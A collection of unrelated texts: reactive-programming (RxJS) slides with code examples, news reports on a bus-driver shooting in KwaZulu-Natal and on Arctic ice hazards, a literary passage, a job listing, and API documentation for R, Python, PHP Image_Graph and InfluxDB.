- Intro.
- Approaches to deal with asynchronicity.
- Reactive Programming.
- Plumbing!
- Observables.
- Operators.
- Code examples.
- Final notes.
- A way to manage asynchronicity.
- Based on the ReactiveX library.
- Observer pattern, Iterator pattern and functional programming.
- Available in many languages: JavaScript, PHP, Java, Scala, Go, Kotlin, Swift, C#, C++, Pyhton and others.
- The browser environment is asynchronous.
- Unpredictable events over time.
- AJAX.
- User interaction (mouse, keyboard, etc).
- Timers or animations
- WebSockets.
- Workers.
var doc;
memStorage.get(docId, response => {
doc = memResponse;
if (!memResponse) {
localStorage.get(docId, localResponse => {
doc = localResponse;
if (!localResponse) {
serverStorage.get(docId, serverResponse => {
doc = serverResponse;
if (!serverResponse) {
// Error.
}
});
}
});
});
- Objects that wrap asynchronous operations and react when there is a result.
- They're chainable.
- They greatly improve flow and error management.
- Added to ES2015 (ECMAScript 6).
- They are resolved only once: they return a single value.
- Following the execution flow may not be trivial.
- They are not lazy.
- They are not cancellable.
- Promise hell.
- Programming with asynchronous data streams.
- Use of data pipes that process and alter data.
- Declaration of reactions to changes.
- Similar example: how Angular, React and Vue.js update user interface on data change.
- It greatly simplifies asynchronous working.
- Very easy to combine and manage asynchronous data sources.
- Generates a shorter, simpler and more intuitive code*.
- Maintainability.
- Is about creating data pipes.
- Asynchronous data sources are piped.
- The pipes transform the data.
- The pipes are modulated.
- When data reaches the end of the pipe a reaction is triggered.
Example: Click event listener (using callback approach).
jQuery('#grip').click(function() {
jQuery('#panel').slideUp();
});
Example: From a click to an AJAX request, and then to a instantiated object list.
- Observables from Observer pattern.
- Data streams.
- They emit data until they finish or an error is triggered.
- They allow to chain streams.
- They allow to transform the stream data.
- They allow to modulate streams.
- They can create streams.
- They can combine streams
- They output an observable
Filter operator, filters values that don't match the condition.
Map operator, transforms stream data.
fromEvent(button, 'click')
.pipe(
map(() => 'https://example.com/api/classification'),
flatMap(url => http.get(url)),
map(items => items.map(new MyItem(item)))
)
.subscribe(instances => this.list = instances);
Auto refresh
var clickStream$ = fromEvent(button, 'click');
of(true).pipe(
merge(clickStream$),
switchMap(() => interval(60000)),
merge(clickStream)
map(() => 'https://example.com/api/classification'),
flatMap(url => http.get(url)),
map(items => items.map(new MyItem(item)))
)
.subscribe(instances => this.list = instances);
Optional auto refresh
var clickStream$ = fromEvent(button, 'click');
var refresh$ = of(true).pipe(
merge(clickStream$),
switchMap(() => interval(60000)),
filter(() => autorefresh),
merge(clickStream)
map(() => 'https://example.com/api/classification'),
flatMap(url => http.get(url)),
map(items => items.map(new MyItem(item)))
)
.subscribe(instances => this.list = instances);
Optional auto refresh and prevent nervous users
var clickStream$ = fromEvent(button, 'click').pipe(
throttleTime(15000)
);
var refresh$ = of(true).pipe(
merge(clickStream$),
switchMap(() => interval(60000)),
filter(() => autorefresh),
merge(clickStream)
map(() => 'https://example.com/api/classification'),
flatMap(url => http.get(url)),
map(items => items.map(new MyItem(item)))
)
.subscribe(instances => this.list = instances);
Optional auto refresh, prevent nervous users and error management.
var clickStream$ = fromEvent(button, 'click').pipe(
throttleTime(15000)
);
var refresh$ = of(true).pipe(
merge(clickStream$),
switchMap(() => interval(60000)),
filter(() => autorefresh),
merge(clickStream)
map(() => 'https://example.com/api/classification'),
flatMap(url => http.get(url)),
map(items => items.map(new MyItem(item)))
)
.catch(err => of(this.list))
.subscribe(instances => this.list = instances);
- You can express from simple reactions to extremely complex reactions to change.
- No more hells.
- Observables resolve as many times as needed.
- Execution flow is intuitive *.
- It's lazy.
- It's cancellable.
- With many ashynchonous data sources.
- Complex interactions.
- Complex interdependency.
- To avoid internal state to manage asynchronous events.
- Can be asyncronous or synchronous.
- Can be cold o hot.
- Can be multicast o unicast.
- Can share or not the data source with their subscribers.
Because others have already done it.
- It can express very complex models.
- It handles any data source.
- Observables: proposed for standard, currently in stage 1.
- Less code, improved maintanibility.
- Available in many languages.
- Asynchronicity.
- The introduction to Reactive Programming you've been missing: https://gist.github.com/staltz/868e7e9bc2a7b8c1f754
- Interactive marble diagrams: http://rxmarbles.com/
- Rx Visualizer: https://rxviz.com/
- ReactiveX: http://reactivex.io/
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by Dominique JefthaA week after a bus driver was shot and killed in Redcliffe, KwaZulu-Natal, another one was shot and wounded on Sunday evening near Richmond.
The Passenger Rail Agency of South Africa (Prasa) confirmed on Monday that one of its Autopax drivers had been injured in a shooting incident.
According to the police, an unknown man jumped out of his vehicle, opened fire and wounded the 58-year-old driver on the R56 near the Eston turn-off.
"The bus driver sustained four gunshot wounds to the chest and was taken to hospital for medical attention," said spokesperson Colonel Thembeka Mbele.
A case of attempted murder was opened at the Richmond police station.
Prasa spokesperson Nana Zenani said its protection services would continue to escort Autopax buses following the latest incident.
Zenani urged anyone with information to call the police.
Last Tuesday, a man posing as a passenger fired three shots at a bus driver in Redcliffe, KwaZulu-Natal, killing him instantly, News24 reported.
Provincial police spokesperson Captain Nqobile Gwala said the 31-year-old driver had been driving on Buffelsdraai Road when an unknown man shot him.
The gunman fled in a getaway car.
Earlier this year, an Autopax bus driver was killed and another wounded when the buses they were driving were shot at.


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But sometimes when I was started on a new story and I could not get going, I would sit in front of the fire and squeeze the peel of the little oranges into the edge of the flame and watch the sputter of blue that they made. I would stand and look out over the roofs of Paris and think, "Do not worry. You have always written before and you will write now. All you have to do is write one true sentence. Write the truest sentence you know." So finally I would write one true sentence, and then go on from there. It was easy then because there was always one true sentence that I knew or had seen or had heard someone say. If I started to write elaborately, or like someone introducing or presenting something, I found that I could cut the scrollwork or ornament out and throw it away and start with the first true simple declarative sentence I had written.
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Eating breakfast is a healthy habit, especially if you're watching your weight. Research shows that regular breakfast eaters tend to be leaner and people are more successful at losing weight and keeping it off when they eat breakfast. What's more, people who eat breakfast typically get more of some important nutrients, like fiber and vitamins. A healthy breakfast should be balanced and deliver a mix of protein, complex carbohydrates, fiber and healthy fat to keep you full and fueled up for your day. Read on to find out some of the best foods to eat for breakfast to help you lose weight and why they are so good for you.


| string_widths_dev {systemfonts} | R Documentation |
For certain composition tasks it is beneficial to get the width of a string
as interpreted by the device that is going to plot it. grid provides this
through construction of a textGrob
and then converting the corresponding
grob width to e.g. cm, but this comes with a huge overhead.
string_widths_dev()
provides direct, vectorised, access to the graphic
device for as high performance as possible.
string_widths_dev( strings, family = "", face = 1, size = 12, cex = 1, unit = "cm" )
strings |
A character vector of strings to measure |
family |
The font families to use. Will get recycled |
face |
The font faces to use. Will get recycled |
size |
The font size to use. Will get recycled |
cex |
The cex multiplier to use. Will get recycled |
unit |
The unit to return the width in. Either |
A numeric vector with the width of each of the strings given in
strings
in the unit given in unit
Other device metrics:
string_metrics_dev()
# Get the widths as measured in cm (default) string_widths_dev(c('a string', 'an even longer string'))


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- Provide references for Config::get.
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Please note this post was a few days old but I just discovered it never got published. So here it is.
Stefano asks in this post, why is Microsoft working on its own on a separate and new search engine. Is the competition really absurd? I think on the contrary that providing some serious competition to google is the best thing that can happen to this search engine. Google is seriously flawed with the new collaborative approach of the web content (yes you read right, blogging):
1. Relevance by linking: The relevance in incoming link increase the reliability of the author on a specific subject, not on anything he says, nor on a specific content. I’m the first for marketing bullshit, if that’s not being broken I don’t know what is.
2. What to do about blogs: well, seems google is trying stuff but didn’t come up yet with any solution. Why? Because they absolutely rule the search engine world (although Scoble tries to push feedster as a potential replacement here). Without some competition there’s absolutely no reason for them to rush something new out in the market.
Let me tell you a small story. A very very long time ago, when compuserve had more content than the internet, google didn’t exist and the search engine that ruled them all was altavista. Who still use it? It’s usage has dropped tremendously. Why? Because they had no serious competition for so long that they never really got anything new out, not because they didn’t collaborate with google.
And as a final note, the human factor here is the most important in that kind of decision. If you came up with a great algorithm, and think you can create your own search engine, rule them all and take over the whole market, generating billions on the way, would you really go and share it with someone, let them grab half of it, just for the sake of technology? Nope. Competition is natural, and is helpful. That’s what open source and the bazaar model is all about. That’s what Microsoft is all about. This is nearly the only common factor across the whole industry. And it is a good thingTM.


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The Software Engineer - Mobile (Jr) will assist in the conversion of an existing Defense Health Agency (DHA) Theater Medical Information Program (TMIP) application, Theater Blood-Mobile (TBLD-M), into a loosely coupled, modular, and reusable set of capabilities that takes advantage of the Open Message Model (OMM) Common Development Environment (CDE) and Common Development Framework (CDF) using WIX, Xamarian, and dependent libraries.
Position contingent upon contract award
RESPONSIBILITIES:
- Development and demonstration of a cross-platform Theater Mobile Application that meets the requirements for Blood Donor and Blood Product Management and the refactoring and updating of the data models supporting Theater Blood Mobile Management on a mobile device. The primary targets are DoD approved mobile devices, but work may extend to additional platforms
- Enhance and build a native Windows installable application with the same functionality on a Windows based platform
- Evaluate, enhance, and develop new capabilities for store and forward that can be deployed on a Windows platform to support the data synchronization of the Theater Blood application to Theater Medical Data Store (TMDS) when network connectivity is only available in a Disconnected Intermittent Low (DIL) Bandwidth environment
- Develop software solutions by studying information needs and conferring with users
- Gather and interpret relevant data and information
- Accurately represent customer requirements
TECHNOLOGIES AND STANDARDS:
- Common Development Framework (CDF)
- Open Message Model (OMM) Software Development Kit (SDK)
- Conversion of SQLLite relational database to CouchBase
- JavaScript Object Notation (JSON)
- Modular open systems architecture (MOSA)
- Evolutionary multi-objective algorithms (EMOAs)
- DoD Architectural Framework (DoDAF)
EXAMPLE TASKS:
- Reconstitution of a working mobile application baseline
- Refactor the legacy User Interface
- Refactor Common Modules and Services
- Refactor all Test Cases
- Reconstituting a Windows based mobile application to a deployable application
- Code analysis and review for refactoring
- Refactor core components of windows application
- Refactor store and forward capability services
- Reconstitute Web-Services and Store and Forward capabilities on Windows
- Code Review and Analysis
DELIVERABLES
- Reconstituted baseline of TBLDM legacy mobile application
- Report on Analysis of legacy TBLDM application
- CONOPS and Designs
- Software Requirements Specifications (SRS)
- Software Design Descriptions (SDD)
- Software Development Plans (SDP)
- Software Code Delivery to CDE
- Software Sustainability Packages (SSP)
- Software Version Descriptions (SVD)
- Software User Manuals (SUM)
- Software Test Plans (STP)
- Software Compilation and Installation Instructions
- Software Test Reports
- Software Test Description (STD)
- Information Security Self-Assessment Report
- Lessons Learned Reports
- Tools Test Harness
KNOWLEDGE AND SKILLS:
- Required Skills (Critical):
- Demonstrated experience with Agile Development processes and participation in an agile development environment
- Demonstrated experience developing modern front-end user interfaces
- Demonstrated experience with DevOps tools
- Demonstrated experience with continuous integration and software CM processes/tools (Subversion, GIT, JIRA, Confluence)
- Experience applying industry best practices to ensure system performance, reliability, scalability, and security
- Desired Skills
- Possess excellent listening, interpersonal, written, and oral communication skills
- Excellent technical writing skills
- Able to work in an operational environment where priorities change frequently
- Applies advanced skills in mobile application environment
EDUCATION AND WORK EXPERIENCE:
- Bachelor’s degree with 3+ years of experience with full life-cycle software development (analysis, design, development, test, deployment, maintenance)
- Three years of relevant experience in application programming and mobile application development
CERTIFICATIONS:
- Must be able to comply with DoD Directive 8570 Information Assurance Workforce Improvement Program certification such as A+, Network+, Security+, CEH and CISSP and a related technical certification
CLEARANCE: Secret
LOCATION: Chantilly, VA (Washington DC and surrounding area)


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Convenience class to organize stability spectra for different angular modes. More...
Public Member Functions | |
| def | __init__ (self, rtol) |
| Initialize an empty spectrum. More... | |
| def | add (self, m, spectrum) |
| Add the spectrum of angular mode m. More... | |
| def | replace (self, m, spectrum) |
| Replace the spectrum of angular mode m. More... | |
| def | principal (self) |
| Eigenvalue with smallest real part (should be real). More... | |
| def | spectrum (self) |
| All eigenvalues in order of ascending real parts. More... | |
| def | get (self, l='all', m=0, simp=True) |
| Return eigenvalues. More... | |
| def | angular_modes (self) |
| List of angular modes for which we have data. More... | |
| def | l_max (self) |
Maximum main eigenvalue index l . More... | |
| def | multiplicity (self, l, m=0, disp=True, verbose=False) |
| Determine the multiplicity of an eigenvalue based on available data. More... | |
| def | is_real (self, l=0, m=0) |
| Whether the indicated eigenvalue is real. More... | |
| def | is_value_real (self, value) |
| Whether a given value is real within some tolerance. More... | |
| def | __str__ (self) |
Public Attributes | |
| rtol | |
| print_max_l | |
| print_max_m | |
Private Attributes | |
| _spectra | |
Convenience class to organize stability spectra for different angular modes.
The values are organized using a main index l
and an angular mode index m
, the latter running through the 2 l + 1
values -l, ..., 0, ..., l
.
| def __init__ | ( | self, | |
| rtol | |||
| ) |
Initialize an empty spectrum.
Use the add() method to add the spectra of different angular modes.
| rtol | Relative tolerance used to check for (approximate) equality of eigenvalues (in order to count multiplicities) and for checking if an eigenvalue is real. |
| def add | ( | self, | |
| m, | |||
| spectrum | |||
| ) |
Add the spectrum of angular mode m.
| def angular_modes | ( | self | ) |
List of angular modes for which we have data.
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l = 'all' , |
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Return eigenvalues.
| l | Main eigenvalue index as int . Use the string "all" (default) to get all eigenvalues of the given angular mode m . |
| m | Angular mode. Runs over -l, ..., 0, ..., l . Default is 0 . |
| simp | If True (default) and the value is found to have negligible imaginary part, return it as a float instead of a complex . |
| def is_real | ( | self, | |
l = 0 , |
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m = 0 |
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| ) |
Whether the indicated eigenvalue is real.
| def is_value_real | ( | self, | |
| value | |||
| ) |
Whether a given value is real within some tolerance.
The tolerance used is the rtol
instance property created upon object initialization.
| def l_max | ( | self | ) |
Maximum main eigenvalue index l
.
| def multiplicity | ( | self, | |
| l, | |||
m = 0 , |
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disp = True , |
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verbose = False |
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| ) |
Determine the multiplicity of an eigenvalue based on available data.
The returned value is not guaranteed to be correct if our data is not sufficiently complete. A simple heuristic is used to guess whether we should have enough data for the given eigenvalue. As a rule of thumb, if you find that the lowest eigenvalue you get when further increasing m
is larger than the eigenvalue you want to know the multiplicity of, then the data should be complete. This is the implemented heuristic.
| l | Main eigenvalue index as int . |
| m | Angular mode. Runs over -l, ..., 0, ..., l . |
| disp | Whether to raise a ValueError if the above heuristic indicates insufficient data for computing multiplicity. Default is True . |
| verbose | In case disp==False , whether to at least print a warning in that case. |
| def principal | ( | self | ) |
Eigenvalue with smallest real part (should be real).
| def replace | ( | self, | |
| m, | |||
| spectrum | |||
| ) |
Replace the spectrum of angular mode m.
| def spectrum | ( | self | ) |
All eigenvalues in order of ascending real parts.
Note that eigenvalues may appear multiple times in this list. However, it is not guaranteed that it will appear according to its multiplicity if higher angular modes have not been computed. Use multiplicity() to get a slightly more robust measure of multiplicity by raising an error if multiplicity seems to not be available in the data.


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Task 1: Planar coordinates
Calculate the distance between two points.
Check if three segment lines can form a triangle.
Point A:
Point B:
Point C:
Check
Task 2: Remove elements
Write a function that removes all elements with a given value. (separate elements by Space)
Array:
Remove elements array:
Remove
Task 3: Deep copy
Write a function that makes a deep copy of an object.
Copy
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Write a function that checks if a given object contains a given property.
The object has properties: 'name', 'gender', 'age', 'town', 'education'
Property:
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Ice hazards for Inuit
by The Canadian PressFor Keith Morrison, the consequences of this fall's extraordinarily warm weather across the North all came down to an urgent call for help.
The fire chief for the Arctic community of Cambridge Bay in Nunavut was at home the evening of Oct. 6 when he got word that a couple had fallen through the ice near a river mouth.
"It was pitch black," Morrison recalled.
"The only light was from the machines themselves. He was standing on his snow machine and she was on the komatik (sled), deep enough that most of their bodies would have been in the water.
"I took out rope. One of their grandsons grabbed the rope and jumped in to get the lady out. Shortly after, we found a boat and they used that to get her husband.
"It was a close thing."
It shouldn't have been a thing at all. That stretch of ice is normally safe by this time of year, but this autumn has not been normal.
"What differentiated this year was we saw a widespread warmer temperature anomaly across the board in the Arctic," said Environment Canada meteorologist Eric Dykes.
"Temperature anomalies that are five degrees above normal are happening a little bit more readily than they have in years past."
Data from around the Arctic bear him out.
In Inuvik, N.W.T., temperatures on every single day between Sept. 1 and Nov. 11 were above normal. In Nunavut, Pond Inlet had only one day of below normal, while above-normal days occurred about 80 per cent of the time in the communities of Cambridge Bay and Pangnirtung.
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The Canadian Forces Station at Alert, on the top of Ellesmere Island, broke a record for Sept. 6 this year by six degrees.
Pond Inlet experienced one day that was 11 degrees warmer than average.
And not only did Resolute, Nunavut, record 68 days of above-normal warmth, nearly half of those days were outside the normal temperature variation. Kugluktuk, Nunavut, was similar — 58 warmer-than-average days, 34 of them outside the normal range.
The U.S.-based National Oceanic and Atmospheric Administration found that sea ice in October was at its lowest extent since records began in 1979. That's 32 per cent below the 1981-2010 average.
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Andrew Arreak, who works in Pond Inlet for a group that helps people make safety judgments about sea ice, said there was still open water near his community this past week.
"People are usually on it the beginning of November. Yesterday, I was finally able to go on it."
It's not the only change.
"There have been more sightings of killer whales, increasing every year," Arreak said.
"Insects are being reported that aren't usually around the area. We don't even know what they're called."
Things have changed, said Morrison, who no longer goes out on his Thanksgiving weekend ice-fishing trip. "A lot of people are noticing the ice is not what it used to be."
Two days after he helped haul the elderly couple out of the freezing river, two young men went through the ice in shallow water.
"The route they were taking was one they've been taking all their lives without much of an issue," Morrison said.
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All of the challenges were hand-coded as a way to learn Javascript, APIs and better HTML.
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Methods summary
public
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Image_Graph_Axis( integer $type = IMAGE_GRAPH_AXIS_X )
Image_Graph_Axis [Constructor]. Normally a manual creation should not be
necessary, axis are created automatically by the Image_Graph_Plotarea
constructor unless explicitly defined otherwise
Image_Graph_Axis [Constructor]. Normally a manual creation should not be
necessary, axis are created automatically by the Image_Graph_Plotarea
constructor unless explicitly defined otherwise
Parameters
- $type
integer $type The type (direction) of the Axis, use IMAGE_GRAPH_AXIS_X for an X-axis
(default, may be omitted) and IMAGE_GRAPH_AXIS_Y for Y- axis)
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public
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#
_pushValues( )
Push the values by 0.5 (for bar and step chart)
Push the values by 0.5 (for bar and step chart)
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public
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_setAxisPadding( string $where, integer $value )
Sets the axis padding for a given position ('low' or 'high')
Sets the axis padding for a given position ('low' or 'high')
Parameters
- $where
string $where The position
- $value
integer $value The number of pixels to "pad"
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public
array
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#
_getTitleFont( )
Gets the font of the title.
Gets the font of the title.
If not font has been set, the parent font is propagated through it's
children.
Returns
array An associated array used for canvas
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public
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#
showLabel( integer $value )
Shows a label for the the specified values.
Shows a label for the the specified values.
Allowed values are combinations of:
- IMAGE_GRAPH_LABEL_MINIMUM
- IMAGE_GRAPH_LABEL_ZERO
- IMAGE_GRAPH_LABEL_MAXIMUM
By default none of these are shows on the axis
Parameters
- $value
integer $value The values to show labels for
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public
|
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public
float
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#
_getMinimum( )
Gets the minimum value the axis will show
Gets the minimum value the axis will show
Returns
float The minumum value
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public
float
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#
_getMaximum( )
Gets the maximum value the axis will show
Gets the maximum value the axis will show
Returns
float The maximum value
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public
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#
_setMinimum( float $minimum )
Sets the minimum value the axis will show
Sets the minimum value the axis will show
Parameters
- $minimum
float $minimum The minumum value to use on the axis
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public
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#
_setMaximum( float $maximum )
Sets the maximum value the axis will show
Sets the maximum value the axis will show
Parameters
- $maximum
float $maximum The maximum value to use on the axis
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public
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#
forceMinimum( float $minimum, boolean $userEnforce = true )
Forces the minimum value of the axis
Forces the minimum value of the axis
Parameters
- $minimum
float $minimum The minumum value to use on the axis
- $userEnforce
boolean $userEnforce This value should not be set, used internally
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public
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#
forceMaximum( float $maximum, boolean $userEnforce = true )
Forces the maximum value of the axis
Forces the maximum value of the axis
Parameters
- $maximum
float $maximum The maximum value to use on the axis
- $userEnforce
boolean $userEnforce This value should not be set, used internally
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public
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#
showArrow( )
Show an arrow head on the 'end' of the axis
Show an arrow head on the 'end' of the axis
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public
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#
hideArrow( )
Do not show an arrow head on the 'end' of the axis (default)
Do not show an arrow head on the 'end' of the axis (default)
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public
integer
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#
_labelDistance( integer $level = 1 )
Return the label distance.
Return the label distance.
Parameters
- $level
integer $level The label level to return the distance of
Returns
integer The distance between 2 adjacent labels
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public
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#
setLabelInterval( mixed $labelInterval = 'auto', integer $level = 1 )
Sets an interval for when labels are shown on the axis.
Sets an interval for when labels are shown on the axis.
By default 'auto' is used, forcing the axis to calculate a approximate best
label interval to be used. Specify an array to use user-defined values for
labels.
Parameters
- $labelInterval
mixed $labelInterval The interval with which labels are shown
- $level
integer $level The label level to set the interval on
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public
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#
setLabelOption( string $option, mixed $value, integer $level = 1 )
Sets options for the label at a specific level.
Sets options for the label at a specific level.
Possible options are:
'showtext' true or false whether label text should be shown or not
'showoffset' should the label be shown at an offset, i.e. should the label be
shown at a position so that it does not overlap with prior levels. Only applies
to multilevel labels with text
'font' The font options as an associated array
'position' The position at which the labels are written ('inside' or
'outside' the axis). NB! This relative position only applies to the default
location of the axis, i.e. if an x-axis is inverted then 'outside' still refers
to the "left" side of a normal y-axis (since this is normally 'outside') but the
actual output will be labels on the "inside"!
'format' To format the label text according to a sprintf statement
'dateformat' To format the label as a date, fx. j. M Y = 29. Jun 2005
Parameters
- $option
string $option The label option name (see detailed description for possible values)
- $value
mixed $value The value for the option
- $level
integer $level The label level to set the interval on
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public
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#
setLabelOptions( array $options, integer $level = 1 )
Sets options for the label at a specific level.
Sets options for the label at a specific level.
The possible options are specified in Image_Graph_Axis::
setLabelOption().
Parameters
- $options
array $options An assciated array with label options
- $level
integer $level The label level to set the interval on
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public
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#
setTitle( string $title, Image_Graph_Font $font = false )
Sets the title of this axis.
Sets the title of this axis.
This is used as an alternative (maybe better) method, than using layout's for
axis-title generation.
To use the current propagated font, but just set it vertically, simply pass
'vertical' as second parameter for vertical alignment down-to-up or 'vertical2'
for up-to-down alignment.
Parameters
- $title
string $title The title of this axis
- $font
Image_Graph_Font
$font The font used for the title
Since
0.3.0dev2
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public
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#
setFixedSize( integer $size )
Sets a fixed "size" for the axis.
Sets a fixed "size" for the axis.
If the axis is any type of y-axis the size relates to the width of the axis,
if an x-axis is concerned the size is the height.
Parameters
- $size
integer $size The fixed size of the axis
Since
0.3.0dev5
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public
float
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#
_value( float $value )
Preprocessor for values, ie for using logarithmic axis
Preprocessor for values, ie for using logarithmic axis
Parameters
- $value
float $value The value to preprocess
Returns
float The preprocessed value
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public
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public
float
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#
_point( float $value )
Get the pixel position represented by a value on the canvas
Get the pixel position represented by a value on the canvas
Parameters
- $value
float $value the value to get the pixel-point for
Returns
float The pixel position along the axis
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public
float
|
#
_intersectPoint( float $value )
Get the axis intersection pixel position
Get the axis intersection pixel position
This is only to be called prior to output! I.e. between the user invokation
of Image_Graph::done() and any actual output is performed. This is because it
can change the axis range.
Parameters
- $value
float $value the intersection value to get the pixel-point for
Returns
float The pixel position along the axis
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public
float
|
#
_calcDelta( )
Calculate the delta value (the number of pixels representing one unit on the
axis)
Calculate the delta value (the number of pixels representing one unit on the
axis)
Returns
float The label interval
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public
float
|
#
_calcLabelInterval( )
Calculate the label interval
Calculate the label interval
If explicitly defined this will be calucated to an approximate best.
Returns
float The label interval
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public
float
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#
_getNextLabel( doubt $currentLabel = false, integer $level = 1 )
Get next label point
Parameters
- $currentLabel
doubt $currentLabel The current label, if omitted or false, the first is returned
- $level
integer $level The label level to get the next label from
Returns
float The next label point
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public
float
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#
_labelInterval( integer $level = 1 )
Get the interval with which labels are shown on the axis.
Get the interval with which labels are shown on the axis.
If explicitly defined this will be calucated to an approximate best.
Parameters
- $level
integer $level The label level to get the label interval for
Returns
float The label interval
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public
integer
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#
_size( )
Get the size in pixels of the axis.
Get the size in pixels of the axis.
For an x-axis this is the width of the axis including labels, and for an
y-axis it is the corrresponding height
Returns
integer The size of the axis
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public
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#
addMark( float $value, float $value2 = false, mixed $text = false )
Adds a mark to the axis at the specified value
Adds a mark to the axis at the specified value
Parameters
- $value
float $value The value
- $value2
float $value2 The second value (for a ranged mark)
- $text
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public
boolean
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#
_isNumeric( )
Is the axis numeric or not?
Is the axis numeric or not?
Returns
boolean True if numeric, false if not
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public
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#
setTickOptions( integer $start, integer $end, integer $level = 1 )
Set the major tick appearance.
Set the major tick appearance.
The positions are specified in pixels relative to the axis, meaning that a
value of -1 for start will draw the major tick 'line' starting at 1 pixel
outside (negative) value the axis (i.e. below an x-axis and to the left of a
normal y-axis).
Parameters
- $start
integer $start The start position relative to the axis
- $end
integer $end The end position relative to the axis
- $level
integer $level The label level to set the tick options for
Since
0.3.0dev2
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public
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#
setInverted( boolean $invert )
Invert the axis direction
Invert the axis direction
If the minimum values are normally displayed fx. at the bottom setting axis
inversion to true, will cause the minimum values to be displayed at the top and
maximum at the bottom.
Parameters
- $invert
boolean $invert True if the axis is to be inverted, false if not
Since
0.3.0dev3
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public
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#
setAxisIntersection( mixed $intersection, mixed $axis = 'default' )
Set axis intersection.
Sets the value at which the axis intersects other axis, fx. at which Y- value
the x-axis intersects the y-axis (normally at 0).
Possible values are 'default', 'min', 'max' or a number between axis min and
max (the value will automatically be limited to this range).
For a coordinate system with 2 y-axis, the x-axis can either intersect the
primary or the secondary y-axis. To make the x-axis intersect the secondary
y-axis at a given value pass IMAGE_GRAPH_AXIS_Y_SECONDARY as second
parameter.
Parameters
- $intersection
mixed $intersection The value at which the axis intersect the 'other' axis
- $axis
mixed $axis The axis to intersect. Only applies to x-axis with both a primary and
secondary y-axis available.
Since
0.3.0dev2
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public
array
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#
_getAxisIntersection( )
Get axis intersection data.
Get axis intersection data.
Returns
array An array with the axis intersection data.
Since
0.3.0dev2
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public
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#
_reset( )
Resets the elements
Overrides
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public
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#
_drawTick( integer $value, integer $level = 1 )
Output an axis tick mark.
Output an axis tick mark.
Parameters
- $value
integer $value The value to output
- $level
integer $level The label level to draw the tick for
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public
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public
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#
_updateCoords( )
Causes the object to update all sub elements coordinates
Causes the object to update all sub elements coordinates
(Image_Graph_Common, does not itself have coordinates, this is basically an
abstract method)
Overrides
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public
boolean
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#
_done( )
Output the axis
Returns
boolean Was the output 'good' (true) or 'bad' (false).
Overrides
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Properties summary
public
integer
|
$_type
|
|
#
The type of the axis, possible values are:
- IMAGE_GRAPH_AXIS_X / IMAGE_GRAPH_AXIS_HORIZONTAL
- IMAGE_GRAPH_AXIS_Y / IMAGE_GRAPH_AXIS_VERTICAL /
IMAGE_GRAPH_AXIS_Y_SECONDARY
The type of the axis, possible values are:
- IMAGE_GRAPH_AXIS_X / IMAGE_GRAPH_AXIS_HORIZONTAL
- IMAGE_GRAPH_AXIS_Y / IMAGE_GRAPH_AXIS_VERTICAL /
IMAGE_GRAPH_AXIS_Y_SECONDARY
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public
integer
|
$_minimum
|
false |
#
The minimum value the axis displays
The minimum value the axis displays
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public
boolean
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$_minimumSet
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false |
#
The minimum value the axis has been explicitly set by the user
The minimum value the axis has been explicitly set by the user
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public
integer
|
$_maximum
|
false |
#
The maximum value the axis displays
The maximum value the axis displays
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public
boolean
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$_maximumSet
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false |
#
The maximum value the axis has been explicitly set by the user
The maximum value the axis has been explicitly set by the user
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public
float
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$_axisSpan
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false |
#
The value span of the axis. This is primarily included for performance
reasons
The value span of the axis. This is primarily included for performance
reasons
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public
float
|
$_axisValueSpan
|
false |
#
The value span of the axis. This is primarily included for performance
reasons
The value span of the axis. This is primarily included for performance
reasons
|
public
array
|
$_axisPadding
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array('low' => 0, 'high' => 0) |
#
The axis padding. The index 'low' specifies the padding for the low axis
values (when not inverted), i.e. to the left on an x-axis and on the bottom of
an y-axis, vice versa for 'high'.
The axis padding. The index 'low' specifies the padding for the low axis
values (when not inverted), i.e. to the left on an x-axis and on the bottom of
an y-axis, vice versa for 'high'.
Axis padding does not make sense on a normal linear y-axis with a 'y-min' of
0 since this corresponds to displaying a small part of the y-axis below 0!
|
public
float
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$_delta
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false |
#
The number of "pixels" representing 1 unit on the axis
The number of "pixels" representing 1 unit on the axis
This is primarily included for performance reasons
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public
boolean
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$_showLabelMinimum
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true |
#
Specify if the axis should label the minimum value
Specify if the axis should label the minimum value
|
public
boolean
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$_showLabelZero
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false |
#
Specify if the axis should label 0 (zero)
Specify if the axis should label 0 (zero)
|
public
boolean
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$_showLabelMaximum
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true |
#
Specify if the axis should label the maximum value
Specify if the axis should label the maximum value
|
public
boolean
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$_showArrow
|
false |
#
Show arrow heads at the 'end' of the axis, default: false
Show arrow heads at the 'end' of the axis, default: false
|
public
array
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$_intersect
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array('value' => 'default', 'axis' => 'default') |
#
Intersection data of axis
Intersection data of axis
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public
mixed
|
$_fixedSize
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false |
#
The fixed size of the axis (i.e. width for y-axis, height for x-axis)
The fixed size of the axis (i.e. width for y-axis, height for x-axis)
|
public
array
|
$_labelOptions
|
array(
1 => array(
'interval' => 1,
'type' => 'auto',
'tick' => array(
'start' => -2,
'end' => 2,
'color' => false
),
'showtext' => true,
'showoffset' => false,
'font' => array(),
'offset' => 0,
'position' => 'outside',
)
) |
#
The label options
Should text be shows, preferences for ticks. The indexes start at level 1,
which is chosen for readability
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public
array
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$_labelText
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array() |
#
The labels that are shown.
The labels that are shown.
This is used to make values show only once...
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public
Image_Graph_DatePreProcessor
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$_dataPreProcessor
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null |
#
A data preprocessor for formatting labels, fx showing dates as a standard
date instead of Unix time stamp
A data preprocessor for formatting labels, fx showing dates as a standard
date instead of Unix time stamp
See
Image_Graph_DataPreProcessor
|
public
array
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$_marks
|
array() |
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public
boolean
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$_pushValues
|
false |
#
Specifies whether the values should be 'pushed' by 0.5
Specifies whether the values should be 'pushed' by 0.5
|
public
string
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$_title
|
'' |
|
public
Image_Graph_Font
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$_titleFont
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false |
#
The font used for the title of this axis
The font used for the title of this axis
|
public
boolean
|
$_invert
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false |
#
Invert the axis (i.e. if an y-axis normally displays minimum values at the
bottom, they are not displayed at the top
Invert the axis (i.e. if an y-axis normally displays minimum values at the
bottom, they are not displayed at the top
Since
0.3.0dev3
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public
boolean
|
$_transpose
|
false |
#
Transpose the axis (i.e. is a normal y-axis transposed, so thats it's not
show vertically as normally expected, but instead horizontally)
Transpose the axis (i.e. is a normal y-axis transposed, so thats it's not
show vertically as normally expected, but instead horizontally)
|


InfluxDB
InfluxDB is the public interface to run queries against the your database. This is a 'driver-level' module, not a a full-fleged ORM or ODM; you run queries directly by calling methods on this class.
Please check out some of the tutorials if you want help getting started!
Example:
const Influx = require('influx');
const influx = new Influx.InfluxDB({
host: 'localhost',
database: 'express_response_db',
schema: [
{
measurement: 'response_times',
fields: {
path: Influx.FieldType.STRING,
